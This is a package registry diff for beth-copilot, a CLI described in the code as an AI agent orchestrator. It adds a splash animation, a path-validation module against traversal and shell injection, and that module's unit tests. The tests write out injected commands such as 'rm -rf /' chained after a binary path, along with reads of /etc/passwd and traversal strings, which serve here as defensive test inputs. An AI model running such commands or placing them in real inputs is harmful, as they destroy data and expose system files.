beth-copilot 1.0.6 → 1.0.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/beth-portrait-small.txt +13 -0
- package/assets/beth-portrait.txt +60 -0
- package/assets/beth-questioning.png +0 -0
- package/assets/yellowstone-beth.png +0 -0
- package/bin/beth-animation.sh +155 -0
- package/bin/cli.js +791 -61
- package/bin/lib/animation.js +189 -0
- package/bin/lib/pathValidation.js +233 -0
- package/bin/lib/pathValidation.test.js +280 -0
- package/package.json +9 -2
- package/sbom.json +129 -0
- package/templates/.github/agents/beth.agent.md +71 -15
- package/templates/.github/agents/developer.agent.md +10 -0
- package/templates/.github/agents/product-manager.agent.md +10 -0
- package/templates/.github/agents/researcher.agent.md +10 -0
- package/templates/.github/agents/security-reviewer.agent.md +10 -0
- package/templates/.github/agents/tester.agent.md +10 -0
- package/templates/.github/agents/ux-designer.agent.md +10 -0
|
@@ -0,0 +1,189 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/**
|
|
3
|
+
* Beth Animation - Startup splash for the AI Agent Orchestrator
|
|
4
|
+
* "I don't speak dipshit. I speak in consequences."
|
|
5
|
+
*/
|
|
6
|
+
|
|
7
|
+
import { readFileSync, existsSync } from 'fs';
|
|
8
|
+
import { dirname, join } from 'path';
|
|
9
|
+
import { fileURLToPath } from 'url';
|
|
10
|
+
|
|
11
|
+
const __dirname = dirname(fileURLToPath(import.meta.url));
|
|
12
|
+
|
|
13
|
+
// ANSI escape codes
|
|
14
|
+
const RESET = '\x1b[0m';
|
|
15
|
+
const BOLD = '\x1b[1m';
|
|
16
|
+
const DIM = '\x1b[2m';
|
|
17
|
+
const AMBER = '\x1b[38;2;218;165;32m';
|
|
18
|
+
const GOLD = '\x1b[38;2;255;215;0m';
|
|
19
|
+
const WHITE = '\x1b[38;2;255;255;255m';
|
|
20
|
+
|
|
21
|
+
// Beth's signature quotes
|
|
22
|
+
const QUOTES = [
|
|
23
|
+
"I don't speak dipshit. I speak in consequences.",
|
|
24
|
+
"They broke my wings and forgot I had claws.",
|
|
25
|
+
"I believe in lovin' with your whole soul and destroying anything that wants to kill what you love.",
|
|
26
|
+
"I'm the trailer park. I'm the tornado.",
|
|
27
|
+
"Where's the fun in breaking one thing? When I fix something, I fix it for generations.",
|
|
28
|
+
"I made two decisions based on fear and they cost me everything. I'll never make another.",
|
|
29
|
+
"You want my opinion? You're getting it either way.",
|
|
30
|
+
];
|
|
31
|
+
|
|
32
|
+
function sleep(ms) {
|
|
33
|
+
return new Promise(resolve => setTimeout(resolve, ms));
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
function clearScreen() {
|
|
37
|
+
process.stdout.write('\x1b[2J\x1b[H');
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
function hideCursor() {
|
|
41
|
+
process.stdout.write('\x1b[?25l');
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
function showCursor() {
|
|
45
|
+
process.stdout.write('\x1b[?25h');
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
function centerText(text, width = process.stdout.columns || 80) {
|
|
49
|
+
const padding = Math.max(0, Math.floor((width - text.length) / 2));
|
|
50
|
+
return ' '.repeat(padding) + text;
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
async function typewriter(text, delay = 30) {
|
|
54
|
+
for (const char of text) {
|
|
55
|
+
process.stdout.write(char);
|
|
56
|
+
await sleep(delay);
|
|
57
|
+
}
|
|
58
|
+
console.log();
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
function getRandomQuote() {
|
|
62
|
+
return QUOTES[Math.floor(Math.random() * QUOTES.length)];
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
async function glitchEffect(iterations = 5) {
|
|
66
|
+
const glitchChars = '░▒▓█│┃┆┇┊┋╳╱╲';
|
|
67
|
+
const cols = process.stdout.columns || 80;
|
|
68
|
+
const rows = process.stdout.rows || 24;
|
|
69
|
+
|
|
70
|
+
for (let i = 0; i < iterations; i++) {
|
|
71
|
+
clearScreen();
|
|
72
|
+
for (let j = 0; j < 10; j++) {
|
|
73
|
+
const col = Math.floor(Math.random() * (cols - 20));
|
|
74
|
+
const row = Math.floor(Math.random() * (rows - 5) + 2);
|
|
75
|
+
const r = Math.floor(Math.random() * 150 + 100);
|
|
76
|
+
const g = Math.floor(Math.random() * 100 + 50);
|
|
77
|
+
const b = Math.floor(Math.random() * 50);
|
|
78
|
+
const char = glitchChars[Math.floor(Math.random() * glitchChars.length)];
|
|
79
|
+
process.stdout.write(`\x1b[${row};${col}H\x1b[38;2;${r};${g};${b}m${char.repeat(4)}`);
|
|
80
|
+
}
|
|
81
|
+
await sleep(80);
|
|
82
|
+
}
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
async function displayPortrait() {
|
|
86
|
+
const artPath = join(__dirname, '..', '..', 'assets', 'beth-portrait.txt');
|
|
87
|
+
|
|
88
|
+
if (!existsSync(artPath)) {
|
|
89
|
+
console.log(`${DIM}Portrait file not found at: ${artPath}${RESET}`);
|
|
90
|
+
return false;
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
const art = readFileSync(artPath, 'utf-8');
|
|
94
|
+
console.log(art);
|
|
95
|
+
return true;
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
function displayBanner() {
|
|
99
|
+
console.log();
|
|
100
|
+
console.log(`${GOLD}${BOLD}${centerText('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━')}${RESET}`);
|
|
101
|
+
console.log(`${AMBER}${BOLD}${centerText('B E T H')}${RESET}`);
|
|
102
|
+
console.log(`${DIM}${WHITE}${centerText('AI Agent Orchestrator')}${RESET}`);
|
|
103
|
+
console.log(`${GOLD}${BOLD}${centerText('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━')}${RESET}`);
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
async function displayQuote() {
|
|
107
|
+
const quote = getRandomQuote();
|
|
108
|
+
console.log();
|
|
109
|
+
process.stdout.write(`${AMBER} `);
|
|
110
|
+
await typewriter(`"${quote}"`, 40);
|
|
111
|
+
console.log(RESET);
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
/**
|
|
115
|
+
* Quick banner - no portrait, just text
|
|
116
|
+
*/
|
|
117
|
+
export async function quickBanner() {
|
|
118
|
+
console.log();
|
|
119
|
+
console.log(`${GOLD}${BOLD}━━━ ${AMBER}BETH${GOLD} ━━━${RESET}`);
|
|
120
|
+
console.log(`${DIM}${getRandomQuote()}${RESET}`);
|
|
121
|
+
console.log();
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
/**
|
|
125
|
+
* Full animation with portrait
|
|
126
|
+
*/
|
|
127
|
+
export async function fullAnimation() {
|
|
128
|
+
hideCursor();
|
|
129
|
+
|
|
130
|
+
try {
|
|
131
|
+
clearScreen();
|
|
132
|
+
await sleep(500);
|
|
133
|
+
|
|
134
|
+
// Glitch intro
|
|
135
|
+
await glitchEffect(5);
|
|
136
|
+
|
|
137
|
+
// Show portrait
|
|
138
|
+
clearScreen();
|
|
139
|
+
const hasPortrait = await displayPortrait();
|
|
140
|
+
|
|
141
|
+
if (hasPortrait) {
|
|
142
|
+
await sleep(1000);
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
// Banner and quote
|
|
146
|
+
displayBanner();
|
|
147
|
+
await sleep(500);
|
|
148
|
+
await displayQuote();
|
|
149
|
+
|
|
150
|
+
console.log();
|
|
151
|
+
console.log(`${DIM}${centerText('Press any key to continue...')}${RESET}`);
|
|
152
|
+
|
|
153
|
+
// Wait for keypress
|
|
154
|
+
if (process.stdin.isTTY) {
|
|
155
|
+
process.stdin.setRawMode(true);
|
|
156
|
+
process.stdin.resume();
|
|
157
|
+
await new Promise(resolve => {
|
|
158
|
+
process.stdin.once('data', resolve);
|
|
159
|
+
});
|
|
160
|
+
process.stdin.setRawMode(false);
|
|
161
|
+
}
|
|
162
|
+
} finally {
|
|
163
|
+
showCursor();
|
|
164
|
+
}
|
|
165
|
+
}
|
|
166
|
+
|
|
167
|
+
/**
|
|
168
|
+
* Minimal startup text
|
|
169
|
+
*/
|
|
170
|
+
export function minimalBanner() {
|
|
171
|
+
console.log(`${AMBER}${BOLD}Beth${RESET} ${DIM}| The bigger bear.${RESET}`);
|
|
172
|
+
}
|
|
173
|
+
|
|
174
|
+
// Run if executed directly
|
|
175
|
+
if (process.argv[1] === fileURLToPath(import.meta.url)) {
|
|
176
|
+
const mode = process.argv[2] || 'full';
|
|
177
|
+
|
|
178
|
+
switch (mode) {
|
|
179
|
+
case 'quick':
|
|
180
|
+
quickBanner();
|
|
181
|
+
break;
|
|
182
|
+
case 'minimal':
|
|
183
|
+
minimalBanner();
|
|
184
|
+
break;
|
|
185
|
+
case 'full':
|
|
186
|
+
default:
|
|
187
|
+
fullAnimation().catch(console.error);
|
|
188
|
+
}
|
|
189
|
+
}
|
|
@@ -0,0 +1,233 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Path validation utilities for user-supplied binary paths.
|
|
3
|
+
* Prevents path traversal attacks, injection, and execution of unintended binaries.
|
|
4
|
+
*/
|
|
5
|
+
|
|
6
|
+
import { existsSync, statSync, accessSync, constants } from 'fs';
|
|
7
|
+
import { resolve, normalize, isAbsolute, basename, dirname } from 'path';
|
|
8
|
+
|
|
9
|
+
// Characters that could be used for shell injection
|
|
10
|
+
// Note: backslash is allowed as Windows path separator
|
|
11
|
+
const SHELL_INJECTION_CHARS = /[;&|`$(){}[\]<>!'"]/;
|
|
12
|
+
|
|
13
|
+
// Path traversal sequences
|
|
14
|
+
const TRAVERSAL_PATTERNS = [
|
|
15
|
+
/\.\.[/\\]/, // ../ or ..\
|
|
16
|
+
/[/\\]\.\.[/\\]/, // /../ or \..\
|
|
17
|
+
/[/\\]\.\.$/, // ends with /.. or \..
|
|
18
|
+
/^\.\.[/\\]/, // starts with ../ or ..\
|
|
19
|
+
/^\.\.$/, // just ".."
|
|
20
|
+
];
|
|
21
|
+
|
|
22
|
+
/**
|
|
23
|
+
* Validation result type
|
|
24
|
+
* @typedef {Object} ValidationResult
|
|
25
|
+
* @property {boolean} valid - Whether the path is valid
|
|
26
|
+
* @property {string} [error] - Error message if invalid
|
|
27
|
+
* @property {string} [normalizedPath] - Normalized absolute path if valid
|
|
28
|
+
*/
|
|
29
|
+
|
|
30
|
+
/**
|
|
31
|
+
* Check if a path contains traversal sequences
|
|
32
|
+
* @param {string} inputPath - The path to check
|
|
33
|
+
* @returns {boolean} - True if traversal sequences found
|
|
34
|
+
*/
|
|
35
|
+
export function containsTraversal(inputPath) {
|
|
36
|
+
if (!inputPath || typeof inputPath !== 'string') {
|
|
37
|
+
return false;
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
return TRAVERSAL_PATTERNS.some(pattern => pattern.test(inputPath));
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
/**
|
|
44
|
+
* Check if a path contains shell injection characters
|
|
45
|
+
* @param {string} inputPath - The path to check
|
|
46
|
+
* @returns {boolean} - True if injection characters found
|
|
47
|
+
*/
|
|
48
|
+
export function containsShellInjection(inputPath) {
|
|
49
|
+
if (!inputPath || typeof inputPath !== 'string') {
|
|
50
|
+
return false;
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
return SHELL_INJECTION_CHARS.test(inputPath);
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
/**
|
|
57
|
+
* Check if a file exists and is executable
|
|
58
|
+
* @param {string} filePath - Absolute path to check
|
|
59
|
+
* @returns {{exists: boolean, executable: boolean}}
|
|
60
|
+
*/
|
|
61
|
+
export function checkExecutable(filePath) {
|
|
62
|
+
const result = { exists: false, executable: false };
|
|
63
|
+
|
|
64
|
+
try {
|
|
65
|
+
if (!existsSync(filePath)) {
|
|
66
|
+
return result;
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
result.exists = true;
|
|
70
|
+
|
|
71
|
+
const stats = statSync(filePath);
|
|
72
|
+
if (!stats.isFile()) {
|
|
73
|
+
return result;
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
// On Windows, check file extension for executability
|
|
77
|
+
if (process.platform === 'win32') {
|
|
78
|
+
const executableExtensions = ['.exe', '.cmd', '.bat', '.com', '.ps1'];
|
|
79
|
+
const ext = filePath.toLowerCase().slice(filePath.lastIndexOf('.'));
|
|
80
|
+
result.executable = executableExtensions.includes(ext);
|
|
81
|
+
} else {
|
|
82
|
+
// On Unix, check execute permission
|
|
83
|
+
try {
|
|
84
|
+
accessSync(filePath, constants.X_OK);
|
|
85
|
+
result.executable = true;
|
|
86
|
+
} catch {
|
|
87
|
+
result.executable = false;
|
|
88
|
+
}
|
|
89
|
+
}
|
|
90
|
+
} catch {
|
|
91
|
+
// File access error
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
return result;
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
/**
|
|
98
|
+
* Validate a user-supplied binary path
|
|
99
|
+
* @param {string} inputPath - The path provided by the user
|
|
100
|
+
* @param {Object} [options] - Validation options
|
|
101
|
+
* @param {boolean} [options.requireAbsolute=false] - Require absolute path
|
|
102
|
+
* @param {boolean} [options.checkExists=true] - Check if file exists
|
|
103
|
+
* @param {boolean} [options.verifyExecutable=true] - Check if file is executable
|
|
104
|
+
* @param {string[]} [options.allowedBasenames] - If provided, only allow these binary names
|
|
105
|
+
* @returns {ValidationResult}
|
|
106
|
+
*/
|
|
107
|
+
export function validateBinaryPath(inputPath, options = {}) {
|
|
108
|
+
const {
|
|
109
|
+
requireAbsolute = false,
|
|
110
|
+
checkExists = true,
|
|
111
|
+
verifyExecutable = true,
|
|
112
|
+
allowedBasenames = null,
|
|
113
|
+
} = options;
|
|
114
|
+
|
|
115
|
+
// Basic type and empty check
|
|
116
|
+
if (!inputPath || typeof inputPath !== 'string') {
|
|
117
|
+
return { valid: false, error: 'Path cannot be empty' };
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
// Trim whitespace
|
|
121
|
+
const trimmedPath = inputPath.trim();
|
|
122
|
+
if (trimmedPath.length === 0) {
|
|
123
|
+
return { valid: false, error: 'Path cannot be empty' };
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
// Length limit to prevent DoS
|
|
127
|
+
if (trimmedPath.length > 4096) {
|
|
128
|
+
return { valid: false, error: 'Path exceeds maximum length (4096 characters)' };
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
// Check for null bytes (path injection)
|
|
132
|
+
if (trimmedPath.includes('\0')) {
|
|
133
|
+
return { valid: false, error: 'Path contains invalid characters (null byte)' };
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
// Check for path traversal
|
|
137
|
+
if (containsTraversal(trimmedPath)) {
|
|
138
|
+
return { valid: false, error: 'Path contains directory traversal sequences (../)' };
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
// Check for shell injection characters
|
|
142
|
+
if (containsShellInjection(trimmedPath)) {
|
|
143
|
+
return {
|
|
144
|
+
valid: false,
|
|
145
|
+
error: 'Path contains potentially dangerous characters. Use an absolute path without special characters.'
|
|
146
|
+
};
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
// Normalize the path
|
|
150
|
+
let normalizedPath;
|
|
151
|
+
try {
|
|
152
|
+
normalizedPath = normalize(trimmedPath);
|
|
153
|
+
|
|
154
|
+
// After normalization, check again for traversal (could be obfuscated)
|
|
155
|
+
if (containsTraversal(normalizedPath)) {
|
|
156
|
+
return { valid: false, error: 'Path resolves to a directory traversal' };
|
|
157
|
+
}
|
|
158
|
+
|
|
159
|
+
// Resolve to absolute path
|
|
160
|
+
normalizedPath = resolve(normalizedPath);
|
|
161
|
+
} catch (err) {
|
|
162
|
+
return { valid: false, error: `Invalid path format: ${err.message}` };
|
|
163
|
+
}
|
|
164
|
+
|
|
165
|
+
// Check if absolute path is required
|
|
166
|
+
if (requireAbsolute && !isAbsolute(trimmedPath)) {
|
|
167
|
+
return { valid: false, error: 'Path must be an absolute path' };
|
|
168
|
+
}
|
|
169
|
+
|
|
170
|
+
// Check allowed basenames (whitelist specific binaries)
|
|
171
|
+
if (allowedBasenames && allowedBasenames.length > 0) {
|
|
172
|
+
// Extract basename handling both Unix and Windows separators
|
|
173
|
+
// This is necessary because on Unix, basename() doesn't handle Windows paths
|
|
174
|
+
const pathParts = normalizedPath.split(/[\\/]/);
|
|
175
|
+
const name = pathParts[pathParts.length - 1] || '';
|
|
176
|
+
const nameWithoutExt = name.replace(/\.(exe|cmd|bat|com)$/i, '');
|
|
177
|
+
|
|
178
|
+
const allowed = allowedBasenames.some(allowedName => {
|
|
179
|
+
const allowedLower = allowedName.toLowerCase();
|
|
180
|
+
return name.toLowerCase() === allowedLower ||
|
|
181
|
+
nameWithoutExt.toLowerCase() === allowedLower;
|
|
182
|
+
});
|
|
183
|
+
|
|
184
|
+
if (!allowed) {
|
|
185
|
+
return {
|
|
186
|
+
valid: false,
|
|
187
|
+
error: `Binary '${name}' is not in the allowed list: ${allowedBasenames.join(', ')}`
|
|
188
|
+
};
|
|
189
|
+
}
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
// Check if file exists
|
|
193
|
+
if (checkExists) {
|
|
194
|
+
const execCheck = checkExecutable(normalizedPath);
|
|
195
|
+
|
|
196
|
+
if (!execCheck.exists) {
|
|
197
|
+
return { valid: false, error: `File not found: ${normalizedPath}` };
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
// Check if executable
|
|
201
|
+
if (verifyExecutable && !execCheck.executable) {
|
|
202
|
+
return { valid: false, error: `File is not executable: ${normalizedPath}` };
|
|
203
|
+
}
|
|
204
|
+
}
|
|
205
|
+
|
|
206
|
+
return { valid: true, normalizedPath };
|
|
207
|
+
}
|
|
208
|
+
|
|
209
|
+
/**
|
|
210
|
+
* Validate a binary path specifically for the beads (bd) CLI
|
|
211
|
+
* @param {string} inputPath - The path to validate
|
|
212
|
+
* @returns {ValidationResult}
|
|
213
|
+
*/
|
|
214
|
+
export function validateBeadsPath(inputPath) {
|
|
215
|
+
return validateBinaryPath(inputPath, {
|
|
216
|
+
checkExists: true,
|
|
217
|
+
verifyExecutable: true,
|
|
218
|
+
allowedBasenames: ['bd', 'bd.exe', 'bd.cmd'],
|
|
219
|
+
});
|
|
220
|
+
}
|
|
221
|
+
|
|
222
|
+
/**
|
|
223
|
+
* Validate a binary path specifically for the backlog CLI
|
|
224
|
+
* @param {string} inputPath - The path to validate
|
|
225
|
+
* @returns {ValidationResult}
|
|
226
|
+
*/
|
|
227
|
+
export function validateBacklogPath(inputPath) {
|
|
228
|
+
return validateBinaryPath(inputPath, {
|
|
229
|
+
checkExists: true,
|
|
230
|
+
verifyExecutable: true,
|
|
231
|
+
allowedBasenames: ['backlog', 'backlog.exe', 'backlog.cmd'],
|
|
232
|
+
});
|
|
233
|
+
}
|
|
@@ -0,0 +1,280 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Unit tests for path validation utilities.
|
|
3
|
+
* Run with: node --test bin/lib/pathValidation.test.js
|
|
4
|
+
*/
|
|
5
|
+
|
|
6
|
+
import { describe, it, mock, beforeEach, afterEach } from 'node:test';
|
|
7
|
+
import assert from 'node:assert';
|
|
8
|
+
import { fileURLToPath } from 'url';
|
|
9
|
+
import { dirname, join } from 'path';
|
|
10
|
+
|
|
11
|
+
import {
|
|
12
|
+
containsTraversal,
|
|
13
|
+
containsShellInjection,
|
|
14
|
+
checkExecutable,
|
|
15
|
+
validateBinaryPath,
|
|
16
|
+
validateBeadsPath,
|
|
17
|
+
validateBacklogPath,
|
|
18
|
+
} from './pathValidation.js';
|
|
19
|
+
|
|
20
|
+
const __filename = fileURLToPath(import.meta.url);
|
|
21
|
+
const __dirname = dirname(__filename);
|
|
22
|
+
|
|
23
|
+
describe('containsTraversal', () => {
|
|
24
|
+
it('should detect ../ traversal', () => {
|
|
25
|
+
assert.strictEqual(containsTraversal('../file'), true);
|
|
26
|
+
assert.strictEqual(containsTraversal('path/../file'), true);
|
|
27
|
+
assert.strictEqual(containsTraversal('/path/../file'), true);
|
|
28
|
+
assert.strictEqual(containsTraversal('path/..'), true);
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
it('should detect ..\\ traversal (Windows)', () => {
|
|
32
|
+
assert.strictEqual(containsTraversal('..\\file'), true);
|
|
33
|
+
assert.strictEqual(containsTraversal('path\\..\\file'), true);
|
|
34
|
+
assert.strictEqual(containsTraversal('C:\\path\\..\\file'), true);
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
it('should detect standalone ..', () => {
|
|
38
|
+
assert.strictEqual(containsTraversal('..'), true);
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
it('should allow normal paths', () => {
|
|
42
|
+
assert.strictEqual(containsTraversal('/usr/local/bin/bd'), false);
|
|
43
|
+
assert.strictEqual(containsTraversal('/home/user/.local/bin/bd'), false);
|
|
44
|
+
assert.strictEqual(containsTraversal('C:\\Users\\name\\bin\\bd.exe'), false);
|
|
45
|
+
});
|
|
46
|
+
|
|
47
|
+
it('should allow paths with dots in filenames', () => {
|
|
48
|
+
assert.strictEqual(containsTraversal('/path/to/file.test.js'), false);
|
|
49
|
+
assert.strictEqual(containsTraversal('/path/.hidden/file'), false);
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
it('should handle edge cases', () => {
|
|
53
|
+
assert.strictEqual(containsTraversal(''), false);
|
|
54
|
+
assert.strictEqual(containsTraversal(null), false);
|
|
55
|
+
assert.strictEqual(containsTraversal(undefined), false);
|
|
56
|
+
});
|
|
57
|
+
});
|
|
58
|
+
|
|
59
|
+
describe('containsShellInjection', () => {
|
|
60
|
+
it('should detect command chaining characters', () => {
|
|
61
|
+
assert.strictEqual(containsShellInjection('/bin/bd; rm -rf /'), true);
|
|
62
|
+
assert.strictEqual(containsShellInjection('/bin/bd && malicious'), true);
|
|
63
|
+
assert.strictEqual(containsShellInjection('/bin/bd | cat /etc/passwd'), true);
|
|
64
|
+
});
|
|
65
|
+
|
|
66
|
+
it('should detect backticks and subshells', () => {
|
|
67
|
+
assert.strictEqual(containsShellInjection('/bin/`whoami`'), true);
|
|
68
|
+
assert.strictEqual(containsShellInjection('/bin/$(whoami)'), true);
|
|
69
|
+
assert.strictEqual(containsShellInjection('/bin/${PATH}'), true);
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
it('should detect quotes', () => {
|
|
73
|
+
assert.strictEqual(containsShellInjection("/bin/bd'"), true);
|
|
74
|
+
assert.strictEqual(containsShellInjection('/bin/bd"'), true);
|
|
75
|
+
// Note: backslash is intentionally allowed for Windows path compatibility
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
it('should detect redirections', () => {
|
|
79
|
+
assert.strictEqual(containsShellInjection('/bin/bd > /tmp/out'), true);
|
|
80
|
+
assert.strictEqual(containsShellInjection('/bin/bd < /etc/passwd'), true);
|
|
81
|
+
});
|
|
82
|
+
|
|
83
|
+
it('should allow normal paths', () => {
|
|
84
|
+
assert.strictEqual(containsShellInjection('/usr/local/bin/bd'), false);
|
|
85
|
+
assert.strictEqual(containsShellInjection('/home/user/.local/bin/bd'), false);
|
|
86
|
+
assert.strictEqual(containsShellInjection('C:\\Users\\name\\bin\\bd.exe'), false);
|
|
87
|
+
assert.strictEqual(containsShellInjection('/path/with-dashes/and_underscores'), false);
|
|
88
|
+
});
|
|
89
|
+
|
|
90
|
+
it('should handle edge cases', () => {
|
|
91
|
+
assert.strictEqual(containsShellInjection(''), false);
|
|
92
|
+
assert.strictEqual(containsShellInjection(null), false);
|
|
93
|
+
assert.strictEqual(containsShellInjection(undefined), false);
|
|
94
|
+
});
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
describe('validateBinaryPath', () => {
|
|
98
|
+
describe('basic validation', () => {
|
|
99
|
+
it('should reject empty paths', () => {
|
|
100
|
+
assert.strictEqual(validateBinaryPath('').valid, false);
|
|
101
|
+
assert.strictEqual(validateBinaryPath(' ').valid, false);
|
|
102
|
+
assert.strictEqual(validateBinaryPath(null).valid, false);
|
|
103
|
+
assert.strictEqual(validateBinaryPath(undefined).valid, false);
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
it('should reject paths with traversal', () => {
|
|
107
|
+
const result = validateBinaryPath('../../../etc/passwd', { checkExists: false });
|
|
108
|
+
assert.strictEqual(result.valid, false);
|
|
109
|
+
assert.ok(result.error.includes('traversal'));
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
it('should reject paths with shell injection', () => {
|
|
113
|
+
const result = validateBinaryPath('/bin/bd; rm -rf /', { checkExists: false });
|
|
114
|
+
assert.strictEqual(result.valid, false);
|
|
115
|
+
assert.ok(result.error.includes('dangerous'));
|
|
116
|
+
});
|
|
117
|
+
|
|
118
|
+
it('should reject paths with null bytes', () => {
|
|
119
|
+
const result = validateBinaryPath('/bin/bd\0malicious', { checkExists: false });
|
|
120
|
+
assert.strictEqual(result.valid, false);
|
|
121
|
+
assert.ok(result.error.includes('null byte'));
|
|
122
|
+
});
|
|
123
|
+
|
|
124
|
+
it('should reject excessively long paths', () => {
|
|
125
|
+
const longPath = '/bin/' + 'a'.repeat(5000);
|
|
126
|
+
const result = validateBinaryPath(longPath, { checkExists: false });
|
|
127
|
+
assert.strictEqual(result.valid, false);
|
|
128
|
+
assert.ok(result.error.includes('maximum length'));
|
|
129
|
+
});
|
|
130
|
+
});
|
|
131
|
+
|
|
132
|
+
describe('path normalization', () => {
|
|
133
|
+
it('should normalize valid paths', () => {
|
|
134
|
+
// Use a path that doesn't require existence check
|
|
135
|
+
const result = validateBinaryPath('/usr/local/bin/bd', { checkExists: false });
|
|
136
|
+
assert.strictEqual(result.valid, true);
|
|
137
|
+
assert.ok(result.normalizedPath);
|
|
138
|
+
});
|
|
139
|
+
});
|
|
140
|
+
|
|
141
|
+
describe('allowedBasenames validation', () => {
|
|
142
|
+
it('should reject paths with non-allowed basenames', () => {
|
|
143
|
+
const result = validateBinaryPath('/usr/bin/malicious', {
|
|
144
|
+
checkExists: false,
|
|
145
|
+
allowedBasenames: ['bd', 'backlog'],
|
|
146
|
+
});
|
|
147
|
+
assert.strictEqual(result.valid, false);
|
|
148
|
+
assert.ok(result.error.includes('not in the allowed list'));
|
|
149
|
+
});
|
|
150
|
+
|
|
151
|
+
it('should accept paths with allowed basenames', () => {
|
|
152
|
+
const result = validateBinaryPath('/usr/local/bin/bd', {
|
|
153
|
+
checkExists: false,
|
|
154
|
+
allowedBasenames: ['bd', 'backlog'],
|
|
155
|
+
});
|
|
156
|
+
assert.strictEqual(result.valid, true);
|
|
157
|
+
});
|
|
158
|
+
|
|
159
|
+
it('should handle Windows executable extensions', () => {
|
|
160
|
+
const result = validateBinaryPath('C:\\bin\\bd.exe', {
|
|
161
|
+
checkExists: false,
|
|
162
|
+
allowedBasenames: ['bd'],
|
|
163
|
+
});
|
|
164
|
+
assert.strictEqual(result.valid, true);
|
|
165
|
+
});
|
|
166
|
+
});
|
|
167
|
+
|
|
168
|
+
describe('existence and executable checks', () => {
|
|
169
|
+
it('should report file not found for non-existent paths', () => {
|
|
170
|
+
const result = validateBinaryPath('/this/path/definitely/does/not/exist/bd');
|
|
171
|
+
assert.strictEqual(result.valid, false);
|
|
172
|
+
assert.ok(result.error.includes('not found'));
|
|
173
|
+
});
|
|
174
|
+
|
|
175
|
+
it('should validate actual executable files', () => {
|
|
176
|
+
// Test with a file we know exists - the node binary
|
|
177
|
+
const nodePath = process.execPath;
|
|
178
|
+
const result = validateBinaryPath(nodePath, {
|
|
179
|
+
verifyExecutable: true,
|
|
180
|
+
allowedBasenames: null // Don't restrict basename for this test
|
|
181
|
+
});
|
|
182
|
+
assert.strictEqual(result.valid, true);
|
|
183
|
+
});
|
|
184
|
+
});
|
|
185
|
+
});
|
|
186
|
+
|
|
187
|
+
describe('validateBeadsPath', () => {
|
|
188
|
+
it('should reject non-bd binaries', () => {
|
|
189
|
+
const result = validateBeadsPath('/usr/bin/malicious');
|
|
190
|
+
assert.strictEqual(result.valid, false);
|
|
191
|
+
});
|
|
192
|
+
|
|
193
|
+
it('should reject paths with traversal even for bd', () => {
|
|
194
|
+
const result = validateBeadsPath('../../../usr/bin/bd');
|
|
195
|
+
assert.strictEqual(result.valid, false);
|
|
196
|
+
assert.ok(result.error.includes('traversal'));
|
|
197
|
+
});
|
|
198
|
+
|
|
199
|
+
it('should accept valid bd path format (if exists check disabled)', () => {
|
|
200
|
+
// This tests the validation logic, not file existence
|
|
201
|
+
// We'd need to mock fs for a complete test
|
|
202
|
+
const result = validateBeadsPath('/nonexistent/path/bd');
|
|
203
|
+
assert.strictEqual(result.valid, false);
|
|
204
|
+
assert.ok(result.error.includes('not found'));
|
|
205
|
+
});
|
|
206
|
+
});
|
|
207
|
+
|
|
208
|
+
describe('validateBacklogPath', () => {
|
|
209
|
+
it('should reject non-backlog binaries', () => {
|
|
210
|
+
const result = validateBacklogPath('/usr/bin/malicious');
|
|
211
|
+
assert.strictEqual(result.valid, false);
|
|
212
|
+
});
|
|
213
|
+
|
|
214
|
+
it('should reject paths with shell injection', () => {
|
|
215
|
+
const result = validateBacklogPath('/bin/backlog && rm -rf /');
|
|
216
|
+
assert.strictEqual(result.valid, false);
|
|
217
|
+
assert.ok(result.error.includes('dangerous'));
|
|
218
|
+
});
|
|
219
|
+
});
|
|
220
|
+
|
|
221
|
+
describe('checkExecutable', () => {
|
|
222
|
+
it('should return exists=false for non-existent files', () => {
|
|
223
